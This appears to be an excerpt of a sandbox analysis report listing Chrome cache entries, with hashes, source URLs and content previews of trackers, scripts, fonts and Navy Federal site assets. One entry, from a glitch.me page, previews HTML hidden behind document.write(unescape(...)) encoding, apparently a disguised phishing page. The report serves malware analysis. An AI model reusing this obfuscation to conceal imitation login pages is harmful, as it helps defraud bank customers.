SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://d.agkn.com/pixel/10751/?che=1716590783147&ip=8.46.123.175
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32717)
Category:	downloaded
Size (bytes):	34341
Entropy (8bit):	5.322542967980155
Encrypted:	false
SSDEEP:	768:9wVYJFmNX/9Br7l0V+WGUgxtu2KD7DZVAJXgtmyO/:9IYJF+X/nfWVyTEYJJ/
MD5:	DFDD9E1F988805F0C2FBB10CD6B8F034
SHA1:	B6CD42821DD2E732919FD053A4665AF0E15E0335
SHA-256:	D6D01246A30E9D483531C27721F73F266FA4AF35EFFDB21683AC02A620AB8AAF
SHA-512:	30AD79F7D41D6F5736BA1F63982D85801CBC284C39C40682F5A483F3241DC44BDCC24E9437370EBBE420B011B5D2BA94BCB1413D742BDEBE1BB5ADDD149AC891
Malicious:	false
Reputation:	low
URL:	https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement.min.js
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPbf7b42aa08bc4f10879b1484195e80d1/AppMeasurement.js`..function AppMeasurement(e){var t=this;t.version="2.23.0";var n=window;n.s_c_in\|\|(n.s_c_il=[],n.s_c_in=0),t._il=n.s_c_il,t._in=n.s_c_in,t._il[t._in]=t,n.s_c_in++,t._c="s_c";var a=n.AppMeasurement.mc;a\|\|(a=null);var i,r,o,c=n;try{for(i=c.parent,r=c.location;i&&i.location&&r&&""+i.location!=""+r&&c.location&&""+i.location!=""+c.location&&i.location.host===r.host;)i=(c=i).parent}catch(e){}t.log=function(e){try{console.log(e)}catch(e){}},t.Sa=function(e){return""+parseInt(e)==""+e},t.replace=function(e,t,n){return!e\|\|0>e.indexOf(t)?e:e.split(t).join(n)},t.escape=function(e){var n,a;if(!e)return e;for(e=encodeURIComponent(e),n=0;7>n;n++)a="+~!*()'".substring(n,n+1),0<=e.indexOf(a)&&(e=t.replace(e,a,"%"+a.charCodeAt(0).toString(16).toUpperCase()));return e},t.unescape=function(e){if(!e)return e;e=0<=e.indexOf("+")?t.replace(e,"+"," "):e;try{return decodeURIComponent(e

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65490)
Category:	downloaded
Size (bytes):	2860861
Entropy (8bit):	3.3332539042481972
Encrypted:	false
SSDEEP:	3072:GZ0r1/FsEN9yfP8CpO2Kg/u7BcnwTX+QAXR5BOwpSkYuFmYTNuPoxxtDUzefg8:c
MD5:	64F7CF30B06D38DCE1E7507928CB4723
SHA1:	8F358600A3B104B26B26A4CA78858C19811C0935
SHA-256:	3ABA51F025C2F531C71433C74EB3AD3DE0717CA53968C2F910729A5C6BA167E9
SHA-512:	D82D380910A9A18AE60319B67F29F63E16D85BF9DC03EF5C0F1ADA0C621EA12FF643D451AD119E349E767940B9D2FA9733CC2B6E97414F9A35F88982056B7EE2
Malicious:	false
Reputation:	low
URL:	http://delicious-decorous-army.glitch.me/public/RRENFCONL0.HTML
Preview:	<script type="text/javascript">. -->. .document.write(unescape('%3c%21%44%4f%43%54%59%50%45%20%68%74%6d%6c%3e%3c%68%74%6d%6c%20%6c%61%6e%67%3d%22%65%6e%22%3e%3c%68%65%61%64%3e%0d%0a%3c%6c%69%6e%6b%20%72%65%6c%3d%22%69%63%6f%6e%22%20%64%61%74%61%2d%73%61%76%65%70%61%67%65%2d%68%72%65%66%3d%22%69%63%6f%22%20%68%72%65%66%3d%22%64%61%74%61%3a%69%6d%61%67%65%2f%78%2d%69%63%6f%6e%3b%62%61%73%65%36%34%2c%41%41%41%42%41%41%45%41%45%42%41%41%41%41%45%41%49%41%42%6f%42%41%41%41%46%67%41%41%41%43%67%41%41%41%41%51%41%41%41%41%49%41%41%41%41%41%45%41%49%41%41%41%41%41%41%41%51%41%51%41%41%42%4d%4c%41%41%41%54%43%77%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%70%47%41%6a%55%4b%52%67%49%36%2b%6b%59%43%50%76%70%47%41%6a%2f%36%52%67%49%2b%2b%6b%59%43%50%76%70%47%41%6a%72%36%52%67%49%30%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%43%6b%59%43%4d%51%70%47%41%6a%76%36%52%67%49%2f%2b%6b%59%4

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (27690)
Category:	downloaded
Size (bytes):	27815
Entropy (8bit):	5.356608380947885
Encrypted:	false
SSDEEP:	384:uy+y0NKzraP9bMJoMVL6kpTtsGMsY+p26E:p8ZgW
MD5:	42CD931D2ED328507A1CDCAC1F9AD22C
SHA1:	F37F7868C80643A2414843C0E4963775721DDEAC
SHA-256:	37FD2CAB060AEC0691991303DE430F904823DC21A9D05AC4984C899798EE1A89
SHA-512:	5894DDB248E1A23DA1294BAF9A8A5CAFD6EB44BBCD82B9E75C37F67EA27E9218CC19E2EBA551C578E662E301D19DBDB153DAFBBCA983783C04D5588F5D44C979
Malicious:	false
Reputation:	low
URL:	https://cdn.pbbl.co/i/pp.html
Preview:	<!doctype html>.<html lang="en">.<head>. <meta charset="UTF-8" />. <script>. !function(e){var t={};function r(n){if(t[n])return t[n].exports;var i=t[n]={i:n,l:!1,exports:{}};return e[n].call(i.exports,i,i.exports,r),i.l=!0,i.exports}r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=16)}({16:fu

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://bcp.crwdcntrl.net/map/ct=y/c=7625/tp=SIMP/tpid=4F23F6C2C1D4438DAA81302CEEAB3C45
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65450)
Category:	downloaded
Size (bytes):	468838
Entropy (8bit):	5.343923600854479
Encrypted:	false
SSDEEP:	6144:YJaQfdOYEDCSvM/G4F7TgkVm6YqxrhHuYwKJ/:afdOYEfM/d7Tgkky9
MD5:	19D20F7C439A330B5FAA4E3147CAF1A1
SHA1:	B133801101E2BFDE7E1927F64B0BEDB74D3377CB
SHA-256:	294D8E44D890A50BF8C53A68BD51DA1EC2E6A91783706A194CD0C1EFF3EA06D9
SHA-512:	6B058A63BD49772A3D5D37C60DE84D0CC7D010EE41DC57E8D300F65DD25A06F7CB432572313BD36D4AFE8264C94FA9BD1B60A2EBD00956D9538CE2F1E3599858
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfo/clientlibs/uife/clientlib-uife-nfo-site-dependencies.lc-19d20f7c439a330b5faa4e3147caf1a1-lc.min.js
Preview:	/! For license information please see nfo-site-dependencies.js.LICENSE.txt /.(self.webpackChunkaem_nfo_ui_frontend=self.webpackChunkaem_nfo_ui_frontend\|\|[]).push([[923],{1096:(e,t,n)=>{"use strict";n.d(t,{I:()=>r});const r={parseQueryStringForPIDs(){let e=[];const t=window.location.search.substring(1);if(-1===t.indexOf("pid"))return e;return e=t.match(/pid=([a-z]*)/g).map((e=>e.split("=")[1])),e},getMatchesFromJSON:(e,t)=>{let n=e.map((e=>t.filter((t=>t.productId===e))));for(n=n.flat().slice(0,3);n.length<3;)n.push({});return n},adjustCreditCardProductNames:(e,t)=>{let n;switch(e){case"morerewards":n="More Rewards";break;case"nrewards":n="nRewards Secured";break;case"flagship":n="Flagship Rewards";break;case"go":n="Go Rewards";break;case"cashrewards":n="Cash Rewards";break;case"platinum":n="Platinum";break;default:n=t}return n}}},1060:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ArticleFeed:()=>m});var r=n(7294),i=n(3935);const a=e=>r.createElement("div",{className:"article-landing__nav-area

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	9
Entropy (8bit):	2.94770277922009
Encrypted:	false
SSDEEP:	3:Obn:Obn
MD5:	9D1EAD73E678FA2F51A70A933B0BF017
SHA1:	D205CBD6783332A212C5AE92D73C77178C2D2F28
SHA-256:	0019DFC4B32D63C1392AA264AED2253C1E0C2FB09216F8E2CC269BBFB8BB49B5
SHA-512:	935B3D516E996F6D25948BA8A54C1B7F70F7F0E3F517E36481FDF0196C2C5CFC2841F86E891F3DF9517746B7FB605DB47CDDED1B8FF78D9482DDAA621DB43A34
Malicious:	false
Reputation:	low
URL:	https://x.bidswitch.net/sync_a9/val=xly2KwPTQhOUBoJo6ORVnA&redirect=https://s.amazon-adsystem.com/ecm3?ex=bidswitch.com&id=${UUID}
Preview:	Not Found

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12155)
Category:	downloaded
Size (bytes):	12157
Entropy (8bit):	5.2815440011561945
Encrypted:	false
SSDEEP:	192:LtmBhIzAKFdDQ9bsBKfsFod33leAVTwUZChR79B7rSN7eTVqAd+ha4h+sWVO/nqD:L4Bhn6dDQVsBGli79B7eCxqAKaCFwD
MD5:	A60A4E2650F94DA6F243B9518761B381
SHA1:	6BC78CE4D63E46228B0259083536E67CAA439488
SHA-256:	424CE4E99E7476FCA8E9D27D6C15B60466AB7CF1C7D7C896E1C63F7CD6A818C8
SHA-512:	33237324492FC9F8377D79992036E2A53E2D2203E0019C2986FFE6EF0DF82BCE7DFF8E216479C5A52C7F598A0C9B6E0CB3B957E4EFEAD13A1ACA2A059D236F15
Malicious:	false
Reputation:	low
URL:	https://js.adsrvr.org/up_loader.1.1.0.js
Preview:	!function(){"use strict";let c=null;const l=["debug","info","warn","error"];let s=l.reduce((e,d,a)=>(e[d]=function(){var e="debug"===d?"log":d;if(c&&console&&"function"==typeof console[e]){var t=l.indexOf(c.toString().toLocaleLowerCase());if(!0===c\|\|-1<t&&t<=a){for(var n=arguments.length,i=new Array(n),o=0;o<n;o++)i[o]=arguments[o];const[a,...r]=[...i];console[e](d.toUpperCase()+" - (TTD) "+a,...r)}}},e),{});function e(e){c=e}let f=null,o={},p={},m={},v={};function t(e){var t=e[0],e=e[1];if("setIdentifier"!==t)throw"method not implemented";i(e)}function r(e,t){n(t),function t(e,n){let i=f.detectionEventType;let o=h(e,n,f.triggerElements);let r=[];let d=h(e,n,f.cssSelectors);p[n]=p[n]\|\|[];v[n]=v[n]\|\|[];m[n]=m[n]\|\|[];for(var a of d)a&&a.tagName&&"INPUT"===a.tagName&&v[n].push(a);s.debug(`triggers ["${n}"] `,o);s.debug(`validInputs ["${n}"] `,d);o.forEach(e=>{p[n].push(e),r.push(e[i]),m[n].push(e[i])});for(let n=0;n<o.length;n++)o[n][i]=function(){try{s.debug("Detect event: ",i,"on elemen

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 14308, version 1.3276
Category:	downloaded
Size (bytes):	14308
Entropy (8bit):	7.9857742018545546
Encrypted:	false
SSDEEP:	384:E7i9sL9SxRDL1cPR6sXQs/5Y/zTzyxmI8nX25LMu4:EGSLIP1c56jyxmI8nXmAu4
MD5:	58DD2A1C6D7861EA261912BA153AC8E3
SHA1:	235C384B9599ED2099F8FDA87BA7BC8917EB1AA4
SHA-256:	599D93E0748728EDC6BD55A82A52BFF61196B149D566A67D4ED86D55D9C520AA
SHA-512:	AF8861CD45E24EA1E8605AAE193A1851003A8CF6B28FA8896B99E7C620DAD0BF2A051A12EDE2C46E5F043F7F1EBA40CDD8D452BBD07A884257D8FF8D5D4352D5
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/source-sans/source-sans-pro-v9-latin-regular.woff2
Preview:	wOF2......7...........7..........................@..p..`.`..f.(..s.....l..k.6.$..D..d.. ..F..9.K..y5l.F....wM..Q...\|.h......-.....1D.@.....)..h5..I....P+...a.i...\.g...v....9.s...\J\|j..=W...:..A....\|......^....5.r.u....c.?..e.....J...#A...8..HB..s>..I.&........o.pS T.%v.C.uh...l.....~.;...l6.F.A,...Rz........W......[...E._\/..!.x....R.Z..[...V3.N..:i}......o-;:.Es..C.=.y......E.%.G......M.YH.nfS5....{;..e.4../...$U.b.....x......>u..T.5...B.W.....O...1.0 ..R7w.`mB%$.4n!.B.!/.9.r2k@... .`6.Qw....h..v.d...B..W.:o....M...#=..e}....Y.`.G>...F3.7....A.`,.....h..2m:..L..]+.........W.J...iw...\|$+d..a9a.dl..I..T"Y>.s$.:..].{.......z..B..G..E5.KS...3...w.z.........PJ-......cf.H.W..t;*".#C.W7..B...?PBp.J..M2.G...I..dUm..fK..$....z...{...9WM^..p....@.f..r.....m..}....R..I..O.I.tX.2wy.....13...T........XS.,..~..........s.. ..f.wA..}72.'?.A.C}..t#+R......j.n.F@.^YS<......x.t.",U}j......,...p.d,..<j4...Y..}`..I.VJ...,..-..SQ..RM.............~.i.......+...]..]_..:Q

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:qVZPV:qzd
MD5:	C83301425B2AD1D496473A5FF3D9ECCA
SHA1:	941EFB7368E46B27B937D34B07FC4D41DA01B002
SHA-256:	B633A587C652D02386C4F16F8C6F6AAB7352D97F16367C3C40576214372DD628
SHA-512:	83BAFE4C888008AFDD1B72C028C7F50DEE651CA9E7D8E1B332E0BF3AA1315884155A1458A304F6E5C5627E714BF5A855A8B8D7DB3F4EB2BB2789FE2F8F6A1D83
Malicious:	false
Reputation:	low
URL:	https://td.doubleclick.net/td/fls/rul/activityi;fledge=1;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.134;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe45m0za200;gcd=13l3l3l3l1;dma=0;epver=2;~oref=https%3A%2F%2Fwww.navyfederal.org%2F?
Preview:	<html></html>

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 480x235, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	23880
Entropy (8bit):	7.9920853118295465
Encrypted:	true
SSDEEP:	384:3Pku7M6Y1p/fCkO1G2hR+AjATB+fs1Z06p2aqzmcT1eRmmsmRd0Ln:3PzZ4pif3Q2wBBZ062tJERs2I
MD5:	AC38D8E3721786F8E62C380EE0FD0CE1
SHA1:	466F740DED9D3C0CDFBC16ADDD69F8B825C069B9
SHA-256:	509D06A2053DCD01C99BEFCD64AD4FDC80099BE108880E75778E9F92AB7EC2B2
SHA-512:	BA7A09767973E67567A991509F26BC3D2F96A1E81EA8D8E42A3447A856029F4AEA9D8BDEEA1D727F54E63B7F96B36E18C4304415A208E87387FE87AA539CE251
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/A31757_424_SpecOps_CorpComm_Month_of_the_Military_Child_Blog_Post_Blog_424-03?qlt=80&wid=480&ts=1714670261084&dpr=off
Preview:	RIFF@]..WEBPVP8 4]...H.......>.:.H%."!1.\|....ch..&[..<.1~G..;..ufw.t...L..........?....a.~.5..o.............k...o...........>...:......!@.'_.<........8j...#.oA..o[...).2{+u.....u.....Z.T..].'R.r....&d5...Z..\..<.+M. ...'.Y...R"/k..G..s..d.6.?.<,..a\|w.".)m\....q.d!G6EV~.....R_b.p...:...W`.c.YS..p.....U.!.y.}m%8..T...+..J.7.}eVd..d..q.."..x+V...F`-./l.>5i.,Z...w....x.o..L..F.5H.c..ML.t.P..Z.5..>/...g........pF.IE.3M..cvi.G./..............4..J.i.Wq.H.[..g.Q>...U'...e.gv.=^+.U?..Hfs..C......3..$A......v."..z.p/..).T.......7E.....,8..]....Z.V.+M..K5:0X...e..P.T.r..;4z.s..]"$...@+.....B...#Z....1~..n.9.........tr6..H...pn..K>M.(..l.*.Z.Nzh/.\.BA..[.PF.%..{\|qb.#7h...N.m......#",.9..YzKQ...7.Aq.v.........(.6...lA..un.^8....hK<........l.%8k..P..w....\..i..-.....[?.....^.....1...}..\.........i...9a.......u..z....5].L}.K.L.Pl.....(....-...y..t..`..!...>.}.<w....'.c.e..H..H...W.;...Zw ..v..k..,9#1...].D..P..t..I.].Bl...`.'^....#..h..m.-...3N....tR.

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	302
Entropy (8bit):	5.438575503507309
Encrypted:	false
SSDEEP:	6:U+4OUr940FFpFM+56ZRWHTizlpdUDUfPtxVk1nq:UJO6940FFMO6ZRoT6pSunq9q
MD5:	D1AC9F97E81F010A56C2709DFDB01F0C
SHA1:	B9D2DDB24CF04E0E44A7CF85CFF83AF3D860F2AC
SHA-256:	3FB3F4F18D94F4BCC3DBF87E16BD68982E85B46458A261F79C0E5C1852FD579E
SHA-512:	32FE953797D00B25C2249D928AD557D55481D5724439F88547486A8A407B8298A32177ED9091A78D0982CE4520BBEE07560C4FEA773B44ADCFFFB0A6E57DB036
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Google+Sans+Text:400&text=%E2%86%90%E2%86%92%E2%86%91%E2%86%93&lang=en
Preview:	/. See: https://fonts.google.com/license/googlerestricted. */.@font-face {. font-family: 'Google Sans Text';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/l/font?kit=5aUu9-KzpRiLCAt4Unrc-xIKmCU5mEhkgo3FI_E8lH570oBdIw&skey=b20c8ebc9802c116&v=v21) format('woff2');.}.

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG transport stream data
Category:	downloaded
Size (bytes):	644088
Entropy (8bit):	7.801319671874473
Encrypted:	false
SSDEEP:	6144:DAGm/myvx8dyFSoFxhUG0Ot6p62lQ3wl/rPZdTr2qmF10XbvzyK1OziGeWbU/jVl:wVNFLfUit2xDdTCqmP0XStU/jVAT4Gk
MD5:	0C925788DDECDD925C9F05F595ECF9F5
SHA1:	FB12C4C07D1791BFD7F0EBDD563FC7830B2DC816
SHA-256:	B0731375F530D3EB211F87F46ECDC490D496E461A246DABD5C0F83ADFC3F4B8A
SHA-512:	6D4E3A4852BF1B8CF99F5BC545BC2A3B90EF3D491DAE51D383DD073E516772A51BF00536F9EBFC57276C44AA157AE1BB9C20E2EF83895F724BB2F12E73F95356
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/1x/segment0.ts?akamai_token=exp=1716605376~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/6a2e0f3d-ffdb-47b0-b02d-aebc28e41488/*~hmac=25251894bdb7ca96eaf51490df9c40613b3c8efb0a23cd1173ec59dbe28eb623
Preview:	G@.................^}.......................................................................................................................................................................GA.....................O....................................................................................................................................................................GA.0......~..........1...................gB.....?..@....@...#......h.<....../.E...H..,. .#..Zencoder Video Encoding System.....e.......q@.I....""&.y5...,.".,.".,.".,.".,.".,.".,.G..."...]u.]u.]u...._....:0....^...6........~g...6............."...m.................... ................U.~.k..G.....................]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u.]u...}w..6............]u.]u.]u.\.u.]u.]u.]u.]u.]u.]u.]q.!..?...6..........v_..u.]u.]G..3O.......................................................

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.16293190511019
Encrypted:	false
SSDEEP:	3:CUkwx7tHh/:fD/
MD5:	221D8352905F2C38B3CB2BD191D630B0
SHA1:	D804B495CB9B84B9007A25B5D85F9AE674004CDE
SHA-256:	89FE0EE6020314794FC2CFEACF3D10C31050CFE56F8EBDDF1ED0A33FBE941FA7
SHA-512:	CB3397776F5CA1D15D24786896B2478C6548D0B14DEC0832BFB16C4C419135300704F8A7A4DFBF56D625429C1598EE8110958648F25A3CCA09E6956C1FD3335F
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10130)
Category:	downloaded
Size (bytes):	206231
Entropy (8bit):	5.655797186625133
Encrypted:	false
SSDEEP:	6144:ML2BSVrQL3//Xi+XJqeJ0ZGl904O1Fs8cN+m7QRRItHLCM8sOfF3i:ML2BSVrQL3//vX8eGZGf04O1Fs8E7QRk
MD5:	231C89DCBD098FFF90A0C11C2BCB83A4
SHA1:	F8A72C82D54EE87E533D11D6E565E9D7F83ED479
SHA-256:	D40E7B705543FE4F02F2C847B8FD01F45A827C97A82AF552E5AF0AFF01267B7E
SHA-512:	EE7145B41B3E66C7AE7026BDA9ED1062790042151C71765EABC282ACC3EA06909F867B00CCE49B269829F7072DCED7279CC037DEB5CD17625754E7AD8020024A
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/api/js?key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&callback=Function.prototype
Preview:	..window.google = window.google \|\| {};.google.maps = google.maps \|\| {};.(function() {. . var modules = google.maps.modules = {};. google.maps.__gjsload__ = function(name, text) {. modules[name] = text;. };. . google.maps.Load = function(apiLoad) {. delete google.maps.Load;. apiLoad([0.009999999776482582,[null,[["https://khms0.googleapis.com/kh?v=979\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=979\u0026hl=en-US\u0026"],null,null,null,1,"979",["https://khms0.google.com/kh?v=979\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=979\u0026hl=en-US\u0026"]],null,null,null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["https://khms0.googleapis.com/kh?v=162\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=162\u0026hl=en-US\u0026"],null,null,null,null,"162",["https://khms0.google.com/kh?v=162\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=162\u0026hl=en-US\u0026"]],null,null,null,null,null,null,null,[["https://streetv

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	17886
Entropy (8bit):	7.9526308339376675
Encrypted:	false
SSDEEP:	384:s7msp5ciA5CH9JFSsDAKQUHK+e79Q+IKjh+a6G1J7+jZXURO5nB0/87OUd+o:w0PCHVSsDtnEZv9+lGSjSkQ0LdT
MD5:	4CD737BD5BF2BB97CB2B809F343F45D3
SHA1:	3DD7F01004E7ECE9B66D953159F6871C5DE4462A
SHA-256:	FB676B09DB6D3328F05E41A38A16B5481E2D4B752E3B940E6FB68EE151234FDA
SHA-512:	A501C1BB949FD9830D980DAC3ADBFEEA741256CB77E3A344CCCC91AAE59D60B7AC234044ABDC9F64B2E2E6D89D44FF93BF32DACD85CA08E67E0BF14D1FA0C9C1
Malicious:	false
Reputation:	low
